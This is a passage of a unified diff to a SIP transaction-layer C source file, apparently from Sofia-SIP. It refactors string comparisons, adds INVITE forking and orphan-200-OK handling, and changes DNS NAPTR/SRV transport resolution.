+	orq->orq_route = url_hdup(home, route_url->us_url);
+    }
+  }
   else {
     invalid = nta_tpn_by_url(home, orq->orq_tpn, &scheme, &port,
 			     (url_string_t *)sip->sip_request->rq_url);
-    resolved = tport_name_is_resolved(orq->orq_tpn);
+    if (invalid >= 0) {
+      explicit_transport = invalid > 0;
+      resolved = tport_name_is_resolved(orq->orq_tpn);
+      sip_fragment_clear(sip->sip_request->rq_common);
+    }
     orq->orq_url = url_hdup(home, sip->sip_request->rq_url);
-    sip_fragment_clear(sip->sip_request->rq_common);
   }
 
   if (!override_tport)
@@ -7684,13 +7817,13 @@
   if (comp == NULL)
     orq->orq_tpn->tpn_comp = comp;
 
-  if (orq->orq_user_via && str0cmp(orq->orq_tpn->tpn_proto, "*") == 0) {
+  if (orq->orq_user_via && su_strmatch(orq->orq_tpn->tpn_proto, "*")) {
     char const *proto = sip_via_transport(sip->sip_via);
     if (proto) orq->orq_tpn->tpn_proto = proto;
   }
 
   if (branch && branch != NONE) {
-    if (strncasecmp(branch, "branch=", 7) == 0)
+    if (su_casenmatch(branch, "branch=", 7))
       branch = su_strdup(home, branch);
     else
       branch = su_sprintf(home, "branch=%s", branch);
@@ -7708,14 +7841,14 @@
   if (orq->orq_method == sip_method_ack) {
     /* Find the original INVITE which we are ACKing */
     if (ack_branch != NULL && ack_branch != NONE) {
-      if (strncasecmp(ack_branch, "branch=", 7) == 0)
+      if (su_casenmatch(ack_branch, "branch=", 7))
 	orq->orq_branch = su_strdup(home, ack_branch);
       else
 	orq->orq_branch = su_sprintf(home, "branch=%s", ack_branch);
     }
-    else if (!stateless && agent->sa_is_a_uas) {
+    else if (orq->orq_uas) {
       /*
-       * ACK redirect further 2XX messages to it.
+       * ACK redirects further 2XX messages to it.
        *
        * Use orq_branch from INVITE, but put a different branch in topmost Via.
        */
@@ -7750,7 +7883,7 @@
 #else
   orq->orq_resolved = resolved = 1;
 #endif
-  orq->orq_scheme = scheme;
+  orq->orq_sips = su_casematch(scheme, "sips");
 
   if (invalid < 0 || !orq->orq_branch || msg_serialize(msg, (void *)sip) < 0) {
     SU_DEBUG_3(("nta outgoing create: %s\n",
@@ -7771,7 +7904,7 @@
     outgoing_prepare_send(orq);
 #if HAVE_SOFIA_SRESOLV
   else
-    outgoing_resolve(orq);
+    outgoing_resolve(orq, explicit_transport, res_order);
 #endif
 
   if (stateless &&
@@ -7803,10 +7936,9 @@
   nta_agent_t *sa = orq->orq_agent;
   tport_t *tp;
   tp_name_t *tpn = orq->orq_tpn;
-  int sips = strcasecmp(orq->orq_scheme, "sips") == 0;
 
   /* Select transport by scheme */
-  if (sips && strcmp(tpn->tpn_proto, "*") == 0)
+  if (orq->orq_sips && strcmp(tpn->tpn_proto, "*") == 0)
     tpn->tpn_proto = "tls";
 
   if (!tpn->tpn_port)
@@ -7815,7 +7947,7 @@
   tp = tport_by_name(sa->sa_tports, tpn);
 
   if (tpn->tpn_port[0] == '\0') {
-    if (sips || tport_has_tls(tp))
+    if (orq->orq_sips || tport_has_tls(tp))
       tpn->tpn_port = "5061";
     else
       tpn->tpn_port = "5060";
@@ -7824,7 +7956,7 @@
   if (tp) {
     outgoing_send_via(orq, tp);
   }
-  else if (sips) {
+  else if (orq->orq_sips) {
     SU_DEBUG_3(("nta outgoing create: no secure transport\n"));
     outgoing_reply(orq, SIP_416_UNSUPPORTED_URI, 1);
   }
@@ -7856,8 +7988,6 @@
     return;
   }
 
-  orq->orq_user_via = 1;
-
 #if HAVE_SOFIA_SMIME
   {
     sm_object_t *smime = sa->sa_smime;
@@ -7968,15 +8098,15 @@
       /* No retries */;
     /* RFC3261, 18.1.1 */
     else if (err == EMSGSIZE && !orq->orq_try_tcp_instead) {
-      if (strcasecmp(tpn->tpn_proto, "udp") == 0 ||
-	  strcasecmp(tpn->tpn_proto, "*") == 0) {
+      if (su_casematch(tpn->tpn_proto, "udp") ||
+	  su_casematch(tpn->tpn_proto, "*")) {
 	outgoing_try_tcp_instead(orq);
 	continue;
       }
     }
     else if (err == ECONNREFUSED && orq->orq_try_tcp_instead) {
-      if (strcasecmp(tpn->tpn_proto, "tcp") == 0 && msg_size(msg) <= 65535) {
-	outgoing_try_udp_instead(orq);
+      if (su_casematch(tpn->tpn_proto, "tcp") && msg_size(msg) <= 65535) {
+	outgoing_try_udp_instead(orq, 0);
 	continue;
       }
     }
@@ -8090,7 +8220,7 @@
 }
 
 static void
-outgoing_try_udp_instead(nta_outgoing_t *orq)
+outgoing_try_udp_instead(nta_outgoing_t *orq, int timeout)
 {
   tport_t *tp;
   tp_name_t tpn[1];
@@ -8112,8 +8242,9 @@
     sip_fragment_clear(sip->sip_via->v_common);
     sip->sip_via->v_protocol = sip_transport_udp;
 
-    SU_DEBUG_5(("nta: %s (%u) TCP refused, trying UDP\n",
-		orq->orq_method_name, orq->orq_cseq->cs_seq));
+    SU_DEBUG_5(("nta: %s (%u) TCP %s, trying UDP\n",
+		orq->orq_method_name, orq->orq_cseq->cs_seq,
+		timeout ? "times out" : "refused"));
 
     orq->orq_tpn->tpn_proto = "udp";
     tport_decref(&orq->orq_tport);
@@ -8145,10 +8276,10 @@
   }
   else if (error == ECONNREFUSED && orq->orq_try_tcp_instead) {
     /* RFC3261, 18.1.1 */
-    if (strcasecmp(tpn->tpn_proto, "tcp") == 0 && msg_size(msg) <= 65535) {
+    if (su_casematch(tpn->tpn_proto, "tcp") && msg_size(msg) <= 65535) {
       outgoing_print_tport_error(orq, 5, "retrying with UDP after ",
 				 tpn, msg, error);
-      outgoing_try_udp_instead(orq);
+      outgoing_try_udp_instead(orq, 0);
       outgoing_remove(orq);	/* Reset state - this is no resend! */
       outgoing_send(orq, 0);	/* Send */
       return;
@@ -8283,8 +8414,8 @@
 /** @internal
  * Test if an outgoing transaction is in a queue.
  */
-su_inline
-int outgoing_is_queued(nta_outgoing_t const *orq)
+su_inline int
+outgoing_is_queued(nta_outgoing_t const *orq)
 {
   return orq && orq->orq_queue;
 }
@@ -8295,21 +8426,20 @@
  * Insert a client transaction into a queue and set the corresponding
  * timeout at the same time.
  */
-su_inline
-void outgoing_queue(outgoing_queue_t *queue,
-		    nta_outgoing_t *orq)
+static void
+outgoing_queue(outgoing_queue_t *queue,
+	       nta_outgoing_t *orq)
 {
   if (orq->orq_queue == queue) {
     assert(queue->q_timeout == 0);
     return;
   }
 
+  assert(!orq->orq_forked);
+
   if (outgoing_is_queued(orq))
     outgoing_remove(orq);
 
-  assert(orq->orq_next == NULL);
-  assert(*queue->q_tail == NULL);
-
   orq->orq_timeout = set_timeout(orq->orq_agent, queue->q_timeout);
 
   orq->orq_queue = queue;
@@ -8387,7 +8517,7 @@
     orq->orq_agent->sa_out.re_t1 = rq;
 }
 
-su_inline
+static
 void outgoing_reset_timer(nta_outgoing_t *orq)
 {
   if (orq->orq_rprev) {
@@ -8409,13 +8539,14 @@
 void outgoing_free(nta_outgoing_t *orq)
 {
   SU_DEBUG_9(("nta: outgoing_free(%p)\n", (void *)orq));
+  assert(orq->orq_forks == NULL && orq->orq_forking == NULL);
   outgoing_cut_off(orq);
   outgoing_reclaim(orq);
 }
 
 /** Remove outgoing request from hash tables */
-su_inline
-void outgoing_cut_off(nta_outgoing_t *orq)
+su_inline void
+outgoing_cut_off(nta_outgoing_t *orq)
 {
   nta_agent_t *agent = orq->orq_agent;
 
@@ -8428,6 +8559,11 @@
   if (outgoing_is_queued(orq))
     outgoing_remove(orq);
 
+#if 0
+  if (orq->orq_forked)
+    outgoing_remove_fork(orq);
+#endif
+
   outgoing_reset_timer(orq);
 
   if (orq->orq_pending) {
@@ -8501,27 +8637,33 @@
 void outgoing_destroy(nta_outgoing_t *orq)
 {
   if (orq->orq_terminated || orq->orq_default) {
-    outgoing_free(orq);
+    if (!orq->orq_forking && !orq->orq_forks) {
+      outgoing_free(orq);
+      return;
+    }
   }
   /* Application is expected to handle 200 OK statelessly
      => kill transaction immediately */
   else if (orq->orq_method == sip_method_invite && !orq->orq_completed
-	   /* (unless we the transaction has been canceled) */
-	   && !orq->orq_canceled) {
+	   /* (unless transaction has been canceled) */
+	   && !orq->orq_canceled
+	   /* or it has been forked */
+	   && !orq->orq_forking && !orq->orq_forks) {
     orq->orq_destroyed = 1;
     outgoing_terminate(orq);
+    return;
   }
-  else {
-    orq->orq_destroyed = 1;
-    orq->orq_callback = outgoing_default_cb;
-    orq->orq_magic = NULL;
-  }
+
+  orq->orq_destroyed = 1;
+  orq->orq_callback = outgoing_default_cb;
+  orq->orq_magic = NULL;
 }
 
 /** @internal Outgoing transaction timer routine.
  *
  */
-static void outgoing_timer(nta_agent_t *sa)
+static void
+_nta_outgoing_timer(nta_agent_t *sa)
 {
   uint32_t now = sa->sa_millisec;
   nta_outgoing_t *orq;
@@ -8551,8 +8693,11 @@
 	 * but no connection is established within SIP T4
 	 */
 	SU_DEBUG_5(("nta: timer %s fired, %s %s (%u)\n", "N3",
-		    "try UDP instead", orq->orq_method_name, orq->orq_cseq->cs_seq));
-	outgoing_try_udp_instead(orq);
+		    "try UDP instead for",
+		    orq->orq_method_name, orq->orq_cseq->cs_seq));
+	outgoing_try_udp_instead(orq, 1);
+	outgoing_remove(orq);	/* Reset state - this is no resend! */
+	outgoing_send(orq, 0);	/* Send */
       }
       continue;
     }
@@ -8623,7 +8768,9 @@
 static
 void outgoing_trying(nta_outgoing_t *orq)
 {
-  if (orq->orq_method == sip_method_invite)
+  if (orq->orq_forked)
+    ;
+  else if (orq->orq_method == sip_method_invite)
     outgoing_queue(orq->orq_agent->sa_out.inv_calling, orq);
   else
     outgoing_queue(orq->orq_agent->sa_out.trying, orq);
@@ -8682,12 +8829,11 @@
     SU_DEBUG_5(("nta: timer %s fired, %s %s (%u)\n",
 		timer, "CANCEL and timeout",
 		orq->orq_method_name, orq->orq_cseq->cs_seq));
-
+    /*
+     * If the client transaction has received a provisional response, the
+     * proxy MUST generate a CANCEL request matching that transaction.
+     */
     nta_outgoing_tcancel(orq, NULL, NULL, TAG_NULL());
-
-    outgoing_timeout(orq, now);
-
-    assert(q->q_head != orq);
   }
 
   return timeout;
@@ -8696,16 +8842,18 @@
 /** @internal Signal transaction timeout to the application. */
 void outgoing_timeout(nta_outgoing_t *orq, uint32_t now)
 {
-  nta_outgoing_t *cancel;
+  nta_outgoing_t *cancel = NULL;
 
-  if (outgoing_other_destinations(orq)) {
+  if (orq->orq_status || orq->orq_canceled)
+    ;
+  else if (outgoing_other_destinations(orq)) {
     SU_DEBUG_5(("%s(%p): %s\n", "nta", (void *)orq,
 		"try next after timeout"));
     outgoing_try_another(orq);
     return;
   }
 
-  cancel = orq->orq_cancel; orq->orq_cancel = NULL;
+  cancel = orq->orq_cancel, orq->orq_cancel = NULL;
   orq->orq_agent->sa_stats->as_tout_request++;
 
   outgoing_reply(orq, SIP_408_REQUEST_TIMEOUT, 0);
@@ -8718,16 +8866,26 @@
  *
  * @return True if transaction was free()d.
  */
-static
-int outgoing_complete(nta_outgoing_t *orq)
+static int
+outgoing_complete(nta_outgoing_t *orq)
 {
   orq->orq_completed = 1;
 
-  outgoing_reset_timer(orq); /* Timer A/E */
+  outgoing_reset_timer(orq); /* Timer A / Timer E */
 
-  if (orq->orq_stateless || orq->orq_reliable)
+  if (orq->orq_stateless)
     return outgoing_terminate(orq);
 
+  if (orq->orq_forked) {
+    outgoing_remove_fork(orq);
+    return outgoing_terminate(orq);
+  }
+
+  if (orq->orq_reliable) {
+    if (orq->orq_method != sip_method_invite || !orq->orq_uas)
+      return outgoing_terminate(orq);
+  }
+
   if (orq->orq_method == sip_method_invite) {
     if (orq->orq_queue != orq->orq_agent->sa_out.inv_completed)
       outgoing_queue(orq->orq_agent->sa_out.inv_completed, orq); /* Timer D */
@@ -8758,12 +8916,73 @@
     SU_DEBUG_5(("nta: timer %s fired, %s %s (%u)\n", timer,
 		"terminate", orq->orq_method_name, orq->orq_cseq->cs_seq));
 
-    outgoing_terminate(orq);
+    if (orq->orq_method == sip_method_invite)
+      outgoing_terminate_invite(orq);
+    else
+      outgoing_terminate(orq);
   }
 
   return terminated;
 }
 
+
+/** Terminate an INVITE client transaction. */
+static void
+outgoing_terminate_invite(nta_outgoing_t *original)
+{
+  nta_outgoing_t *orq = original;
+
+  while (original->orq_forks) {
+    orq = original->orq_forks;
+    original->orq_forks = orq->orq_forks;
+
+    assert(orq->orq_forking == original);
+
+    SU_DEBUG_5(("nta: timer %s fired, %s %s (%u);tag=%s\n", "D",
+		"terminate", orq->orq_method_name, orq->orq_cseq->cs_seq,
+		orq->orq_tag));
+
+    orq->orq_forking = NULL, orq->orq_forks = NULL, orq->orq_forked = 0;
+
+    if (outgoing_terminate(orq))
+      continue;
+
+    if (orq->orq_status < 200) {
+      /* Fork has timed out */
+      orq->orq_agent->sa_stats->as_tout_request++;
+      outgoing_reply(orq, SIP_408_REQUEST_TIMEOUT, 0);
+    }
+  }
+
+  if (outgoing_terminate(orq = original))
+    return;
+
+  if (orq->orq_status < 200) {
+    /* Original INVITE has timed out */
+    orq->orq_agent->sa_stats->as_tout_request++;
+    outgoing_reply(orq, SIP_408_REQUEST_TIMEOUT, 0);
+  }
+}
+
+static void
+outgoing_remove_fork(nta_outgoing_t *orq)
+{
+  nta_outgoing_t **slot;
+
+  for (slot = &orq->orq_forking->orq_forks;
+       *slot;
+       slot = &(*slot)->orq_forks) {
+    if (orq == *slot) {
+      *slot = orq->orq_forks;
+      orq->orq_forks = NULL;
+      orq->orq_forking = NULL;
+      orq->orq_forked = 0;
+    }
+  }
+
+  assert(orq == NULL);
+}
+
 /** Terminate a client transaction. */
 static
 int outgoing_terminate(nta_outgoing_t *orq)
@@ -8865,7 +9084,7 @@
   /* Get original invite when ACKing */
   if (sip->sip_request && method == sip_method_ack && v == NULL)
     method = sip_method_invite, method2 = sip_method_invalid;
-  else if (sa->sa_is_a_uas && status >= 200 && method == sip_method_invite)
+  else if (sa->sa_is_a_uas && 200 <= status && status < 300 && method == sip_method_invite)
     method2 = sip_method_ack;
   else
     method2 = method;
@@ -8890,18 +9109,16 @@
       continue;
     if (orq->orq_method != method && orq->orq_method != method2)
       continue;
-    if (str0casecmp(orq->orq_from->a_tag, sip->sip_from->a_tag))
+    if (su_strcasecmp(orq->orq_from->a_tag, sip->sip_from->a_tag))
       continue;
     if (orq->orq_to->a_tag &&
-	str0casecmp(orq->orq_to->a_tag, sip->sip_to->a_tag))
+	su_strcasecmp(orq->orq_to->a_tag, sip->sip_to->a_tag))
       continue;
 
-    if (orq->orq_method == sip_method_ack) {
-      if (orq->orq_ack_error ? status < 300 : status >= 300)
-	continue;
-    }
+    if (orq->orq_method == sip_method_ack && 300 <= status)
+      continue;
 
-    if (v && str0casecmp(orq->orq_branch + strlen("branch="), v->v_branch))
+    if (v && !su_casematch(orq->orq_branch + strlen("branch="), v->v_branch))
       continue;
 
     break;			/* match */
@@ -8911,45 +9128,37 @@
 }
 
 /** Process a response message. */
-int outgoing_recv(nta_outgoing_t *orq,
+int outgoing_recv(nta_outgoing_t *_orq,
 		  int status,
 		  msg_t *msg,
 		  sip_t *sip)
 {
+  nta_outgoing_t *orq = _orq->orq_forking ? _orq->orq_forking : _orq;
   nta_agent_t *sa = orq->orq_agent;
-  short orq_status = orq->orq_status;
   int internal = sip == NULL || (sip->sip_flags & NTA_INTERNAL_MSG) != 0;
 
+  assert(!internal || status >= 300);
+  assert(orq == _orq || orq->orq_method == sip_method_invite);
+
   if (status < 100) status = 100;
 
   if (!internal && orq->orq_delay == UINT_MAX)
     outgoing_estimate_delay(orq, sip);
 
-  assert(!internal || status >= 300);
-
   if (orq->orq_cc)
     agent_accept_compressed(orq->orq_agent, msg, orq->orq_cc);
 
   if (orq->orq_cancel) {
     nta_outgoing_t *cancel;
-
     cancel = orq->orq_cancel; orq->orq_cancel = NULL;
-
     cancel->orq_delayed = 0;
 
-    if (status < 200)
+    if (status < 200) {
       outgoing_send(cancel, 0);
-    else
+      outgoing_complete(orq);
+    }
+    else {
       outgoing_reply(cancel, SIP_481_NO_TRANSACTION, 0);
-
-    if (status < 300 && orq->orq_destroyed &&
-	orq->orq_method == sip_method_invite) {
-      outgoing_terminate(orq);      /* We can now kill transaction */
-      if (status == 100) {
-	msg_destroy(msg);
-	return 0;
-      }
-      return -1;
     }
   }
 
@@ -8962,41 +9171,55 @@
 
   /* The state machines */
   if (orq->orq_method == sip_method_invite) {
-    if (orq->orq_destroyed && status > 100 && status < 300)
+    nta_outgoing_t *original = orq;
+
+    orq = _orq;
+
+    if (orq->orq_destroyed && 200 <= status && status < 300) {
+      if (orq->orq_uas && su_strcasecmp(sip->sip_to->a_tag, orq->orq_tag) != 0) {
+        /* Orphan 200 Ok to INVITE. ACK and BYE it */
+        SU_DEBUG_5(("nta: Orphan 200 Ok send ACK&BYE\n"));
+        return nta_msg_ackbye(sa, msg);
+      }
       return -1;  /* Proxy statelessly (RFC3261 section 16.11) */
+    }
 
-    outgoing_reset_timer(orq);
+    outgoing_reset_timer(original); /* Retransmission */
 
     if (status < 200) {
-      if (orq->orq_queue == sa->sa_out.inv_calling) {
+      if (original->orq_status < 200)
+	original->orq_status = status;
+      if (orq->orq_status < 200)
 	orq->orq_status = status;
-	outgoing_queue(sa->sa_out.inv_proceeding, orq);
+
+      if (original->orq_queue == sa->sa_out.inv_calling) {
+	outgoing_queue(sa->sa_out.inv_proceeding, original);
       }
-      else if (orq->orq_queue == sa->sa_out.inv_proceeding) {
-	orq->orq_status = status;
+      else if (original->orq_queue == sa->sa_out.inv_proceeding) {
 	if (sa->sa_out.inv_proceeding->q_timeout) {
-	  outgoing_remove(orq);
-	  outgoing_queue(sa->sa_out.inv_proceeding, orq);
+	  outgoing_remove(original);
+	  outgoing_queue(sa->sa_out.inv_proceeding, original);
 	}
       }
 
       /* Handle 100rel */
-      if (sip && sip->sip_rseq)
+      if (sip && sip->sip_rseq) {
 	if (outgoing_recv_reliable(orq, msg, sip) < 0) {
 	  msg_destroy(msg);
 	  return 0;
 	}
+      }
     }
     else {
       /* Final response */
       if (status >= 300 && !internal)
-	outgoing_ack(orq, sip);
+	outgoing_ack(original, sip);
 
-      if (!orq->orq_completed) {
-	if (outgoing_complete(orq))
+      if (!original->orq_completed) {
+	if (outgoing_complete(original))
 	  return 0;
 
-	if (sip && sa->sa_is_a_uas) {
+	if (orq->orq_uas && sip && orq == original) {
 	  /*
 	   * We silently discard duplicate final responses to INVITE below
 	   * with outgoing_duplicate()
@@ -9006,15 +9229,19 @@
 	}
       }
       /* Retransmission or response from another fork */
-      else {
+      else if (orq->orq_status >= 200) {
 	/* Once 2xx has been received, non-2xx will not be forwarded */
 	if (status >= 300)
 	  return outgoing_duplicate(orq, msg, sip);
 
-	if (sa->sa_is_a_uas) {
-	  if (str0cmp(sip->sip_to->a_tag, orq->orq_tag) == 0)
+	if (orq->orq_uas) {
+	  if (su_strcasecmp(sip->sip_to->a_tag, orq->orq_tag) == 0)
 	    /* Catch retransmission */
 	    return outgoing_duplicate(orq, msg, sip);
+
+          /* Orphan 200 Ok to INVITE. ACK and BYE it */
+          SU_DEBUG_5(("nta: Orphan 200 Ok send ACK&BYE"));
+          return nta_msg_ackbye(sa, msg);
 	}
       }
 
@@ -9025,15 +9252,19 @@
     /* Non-INVITE */
     if (orq->orq_queue == sa->sa_out.trying ||
 	orq->orq_queue == sa->sa_out.resolving) {
-      assert(orq_status < 200); (void)orq_status;
+      assert(orq->orq_status < 200);
 
       if (status < 200) {
 	/* @RFC3261 17.1.2.1:
 	 * retransmissions continue for unreliable transports,
-	 * but at an interval of T2
-	 */
-	if (!orq->orq_reliable)
-	  outgoing_set_timer(orq, sa->sa_t2);
+	 * but at an interval of T2.
+	 *
+         * @RFC4321 1.2:
+         * Note that Timer E is not altered during the transition
+         * to Proceeding.
+         */
+ 	if (!orq->orq_reliable)
+	  orq->orq_interval = sa->sa_t2;
       }
       else if (!outgoing_complete(orq)) {
 	if (orq->orq_sigcomp_zap && orq->orq_tport && orq->orq_cc)
@@ -9063,16 +9294,21 @@
     return 0;
   }
 
-  if (status + orq->orq_pass_100 > 100 && !orq->orq_destroyed) {
-    if (orq->orq_response)
-      msg_destroy(orq->orq_response);
-    orq->orq_response = msg;
-    /* Call callback */
-    orq->orq_callback(orq->orq_magic, orq, sip);
+  if (100 >= status + orq->orq_pass_100) {
+    msg_destroy(msg);
+    return 0;
   }
-  else
+
+  if (orq->orq_destroyed) {
     msg_destroy(msg);
+    return 0;
+  }
 
+  if (orq->orq_response)
+    msg_destroy(orq->orq_response);
+  orq->orq_response = msg;
+  /* Call callback */
+  orq->orq_callback(orq->orq_magic, orq, sip);
   return 0;
 }
 
@@ -9190,9 +9426,7 @@
  */
 void outgoing_ack(nta_outgoing_t *orq, sip_t *sip)
 {
-  nta_outgoing_t *ack;
   msg_t *ackmsg;
-  sip_t *acksip;
 
   assert(orq);
 
@@ -9204,29 +9438,23 @@
   assert(sip->sip_status->st_status >= 300);
   assert(orq->orq_tport);
 
-  ackmsg = outgoing_ackmsg(orq, SIP_METHOD_ACK, NULL);
-  acksip = sip_object(ackmsg);
+  ackmsg = outgoing_ackmsg(orq, SIP_METHOD_ACK, SIPTAG_TO(sip->sip_to), TAG_END());
+  if (!ackmsg)
+    return;
 
-  if (acksip) {
-    if (sip->sip_to->a_tag && !acksip->sip_to->a_tag)
-      sip_to_tag(msg_home(ackmsg), acksip->sip_to, sip->sip_to->a_tag);
-
-    if ((ack = outgoing_create(orq->orq_agent, NULL, NULL,
-			       NULL, orq->orq_tpn, ackmsg,
-			       NTATAG_BRANCH_KEY(sip->sip_via->v_branch),
-			       NTATAG_USER_VIA(1),
-			       NTATAG_STATELESS(1),
-			       TAG_END())))
-      ;
-    else
-      msg_destroy(ackmsg);
-  }
+  if (!outgoing_create(orq->orq_agent, NULL, NULL,
+		      NULL, orq->orq_tpn, ackmsg,
+		      NTATAG_BRANCH_KEY(sip->sip_via->v_branch),
+		      NTATAG_USER_VIA(1),
+		      NTATAG_STATELESS(1),
+		      TAG_END()))
+    msg_destroy(ackmsg);
 }
 
 /** Generate messages for hop-by-hop ACK or CANCEL.
  */
 msg_t *outgoing_ackmsg(nta_outgoing_t *orq, sip_method_t m, char const *mname,
-		       tagi_t const *tags)
+		       tag_type_t tag, tag_value_t value, ...)
 {
   msg_t *msg = nta_msg_create(orq->orq_agent, 0);
   su_home_t *home = msg_home(msg);
@@ -9237,8 +9465,12 @@
   if (!sip)
     return NULL;
 
-  if (tags) {
-    sip_add_tl(msg, sip, TAG_NEXT(tags));
+  if (tag) {
+    ta_list ta;
+
+    ta_start(ta, tag, value);
+
+    sip_add_tl(msg, sip, ta_tags(ta));
     /* Bug sf.net # 173323:
      * Ensure that request-URI, topmost Via, From, To, Call-ID, CSeq,
      * Max-Forward, Route, Accept-Contact, Reject-Contact and
@@ -9246,7 +9478,7 @@
      */
     if (sip->sip_from)
       sip_header_remove(msg, sip, (void *)sip->sip_from);
-    if (sip->sip_to)
+    if (sip->sip_to && m != sip_method_ack)
       sip_header_remove(msg, sip, (void *)sip->sip_to);
     if (sip->sip_call_id)
       sip_header_remove(msg, sip, (void *)sip->sip_call_id);
@@ -9262,12 +9494,15 @@
       sip_header_remove(msg, sip, (void *)sip->sip_via);
     if (sip->sip_max_forwards)
       sip_header_remove(msg, sip, (void *)sip->sip_max_forwards);
+
+    ta_end(ta);
   }
 
   sip->sip_request =
     sip_request_create(home, m, mname, (url_string_t *)orq->orq_url, NULL);
 
-  sip_add_dup(msg, sip, (sip_header_t *)old->sip_to);
+  if (sip->sip_to == NULL)
+    sip_add_dup(msg, sip, (sip_header_t *)old->sip_to);
   sip_add_dup(msg, sip, (sip_header_t *)old->sip_from);
   sip_add_dup(msg, sip, (sip_header_t *)old->sip_call_id);
   sip_add_dup(msg, sip, (sip_header_t *)old->sip_route);
@@ -9333,7 +9568,7 @@
   if (orq->orq_destroyed) {
     if (orq->orq_status < 200)
       orq->orq_status = status;
-    outgoing_complete(orq);	/* Timer D/K */
+    outgoing_complete(orq);	/* Timer D / Timer K */
     return 0;
   }
 
@@ -9473,6 +9708,8 @@
 
   struct sipdns_query  *sr_done;       	/**< Completed intermediate results */
 
+  struct sipdns_tport const *sr_tport;  /**< Selected transport */
+
   /** Transports to consider for this request */
   struct sipdns_tport const *sr_tports[SIPDNS_TRANSPORTS + 1];
 
@@ -9507,6 +9744,8 @@
 static int outgoing_query_naptr(nta_outgoing_t *orq, char const *domain);
 static void outgoing_answer_naptr(sres_context_t *orq, sres_query_t *q,
 				  sres_record_t *answers[]);
+struct sipdns_tport const *outgoing_naptr_tport(nta_outgoing_t *orq,
+						sres_record_t *answers[]);
 
 static int outgoing_make_srv_query(nta_outgoing_t *orq);
 static int outgoing_make_a_aaaa_query(nta_outgoing_t *orq);
@@ -9537,10 +9776,13 @@
 
 /** Resolve a request destination */
 static void
-outgoing_resolve(nta_outgoing_t *orq)
+outgoing_resolve(nta_outgoing_t *orq,
+		 int explicit_transport,
+		 enum nta_res_order_e res_order)
 {
   struct sipdns_resolver *sr = NULL;
   char const *tpname = orq->orq_tpn->tpn_proto;
+  int tport_known = strcmp(tpname, "*") != 0;
 
   if (orq->orq_agent->sa_resolver)
     orq->orq_resolver = sr = su_zalloc(orq->orq_agent->sa_home, (sizeof *sr));
@@ -9572,14 +9814,15 @@
   */
   if (sr->sr_tpn->tpn_port)
     sr->sr_use_naptr = 0, sr->sr_use_srv = 0;
+
   /* RFC3263:
      If [...] a transport was specified explicitly, the client performs an
      SRV query for that specific transport,
   */
-  else if (strcmp(tpname, "*") != 0)
+  if (explicit_transport)
     sr->sr_use_naptr = 0;
 
-  if (sr->sr_use_srv || sr->sr_use_naptr) {
+  {
     /* Initialize sr_tports */
     tport_t *tport;
     char const *ident = sr->sr_tpn->tpn_ident;
@@ -9589,13 +9832,13 @@
 	 tport;
 	 tport = tport_next(tport)) {
       tp_name_t const *tpn = tport_name(tport);
-      if (strcmp(tpname, "*") && strcasecmp(tpn->tpn_proto, tpname))
+      if (tport_known && !su_casematch(tpn->tpn_proto, tpname))
 	continue;
       if (ident && (tpn->tpn_ident == NULL || strcmp(ident, tpn->tpn_ident)))
 	continue;
 
       for (j = 0; j < SIPDNS_TRANSPORTS; j++)
-	if (strcasecmp(tpn->tpn_proto, sipdns_tports[j].name) == 0)
+	if (su_casematch(tpn->tpn_proto, sipdns_tports[j].name))
 	  break;
 
       assert(j < SIPDNS_TRANSPORTS);
@@ -9609,8 +9852,10 @@
       }
       sr->sr_tports[i] = sipdns_tports + j;
 
-      if (strcmp(tpname, "*")) /* Looking for only one transport */
+      if (tport_known) /* Looking for only one transport */ {
+	sr->sr_tport = sipdns_tports + j;
 	break;
+      }
     }
 
     /* Nothing found */
@@ -9622,7 +9867,7 @@
     }
   }
 
-  switch (orq->orq_res_order) {
+  switch (res_order) {
   default:
   case nta_res_ip6_ip4:
     sr->sr_a_aaaa1 = sres_type_aaaa, sr->sr_a_aaaa2 = sres_type_a;
@@ -9858,9 +10103,9 @@
   struct sipdns_resolver *sr = orq->orq_resolver;
   su_home_t *home = msg_home(orq->orq_request);
   struct sipdns_query *sq;
-  char const *host;
+  char const *host, *prefix;
   int i;
-  size_t hlen;
+  size_t hlen, plen;
 
   sr->sr_use_srv = 0;
 
@@ -9868,9 +10113,12 @@
   hlen = strlen(host) + 1;
 
   for (i = 0; sr->sr_tports[i]; i++) {
-    char const *prefix = sr->sr_tports[i]->prefix;
-    size_t plen = strlen(prefix);
+    if (sr->sr_tport && sr->sr_tports[i] != sr->sr_tport)
+      continue;
 
+    prefix = sr->sr_tports[i]->prefix;
+    plen = strlen(prefix);
+
     sq = su_zalloc(home, (sizeof *sq) + plen + hlen);
     if (sq) {
       *sr->sr_tail = sq, sr->sr_tail = &sq->sq_next;
@@ -9982,10 +10230,9 @@
 			   sres_query_t *q,
 			   sres_record_t *answers[])
 {
-  int i, j, order = -1;
+  int i, order = -1;
   size_t rlen;
   su_home_t *home = msg_home(orq->orq_request);
-  nta_agent_t *agent = orq->orq_agent;
   struct sipdns_resolver *sr = orq->orq_resolver;
   tp_name_t tpn[1];
   struct sipdns_query *sq, *selected = NULL, **tail = &selected, **at;
@@ -9999,61 +10246,52 @@
   /* The NAPTR results are sorted first by Order then by Preference */
   sres_sort_answers(orq->orq_agent->sa_resolver, answers);
 
+  if (sr->sr_tport == NULL)
+    sr->sr_tport = outgoing_naptr_tport(orq, answers);
+
   for (i = 0; answers && answers[i]; i++) {
     sres_naptr_record_t const *na = answers[i]->sr_naptr;
     uint16_t type;
+    int valid_tport;
 
     if (na->na_record->r_status)
       continue;
     if (na->na_record->r_type != sres_type_naptr)
       continue;
 
-    /* RFC 2915 p 4:
-     * Order
-     *    A 16-bit unsigned integer specifying the order in which the
-     *    NAPTR records MUST be processed to ensure the correct ordering
-     *    of rules. Low numbers are processed before high numbers, and
-     *    once a NAPTR is found whose rule "matches" the target, the
-     *    client MUST NOT consider any NAPTRs with a higher value for
-     *    order (except as noted below for the Flags field).
-     */
-    if (order >= 0 && order != na->na_order)
-      break;
-
     /* Check if NAPTR matches our target */
-    if (strncasecmp(na->na_services, "SIP+", 4) &&
-	strncasecmp(na->na_services, "SIPS+", 5))
+    if (!su_casenmatch(na->na_services, "SIP+", 4) &&
+	!su_casenmatch(na->na_services, "SIPS+", 5))
       /* Not a SIP/SIPS service */
       continue;
 
     /* Use NAPTR results, don't try extra SRV/A/AAAA records */
     sr->sr_use_srv = 0, sr->sr_use_a_aaaa = 0;
 
-    /* Check if we have a transport mathing with service */
-    for (j = 0; sr->sr_tports[j]; j++) {
-      /*
-       * Syntax of services is actually more complicated
-       * but comparing the values in the transport list
-       * match with those values that make any sense
-       */
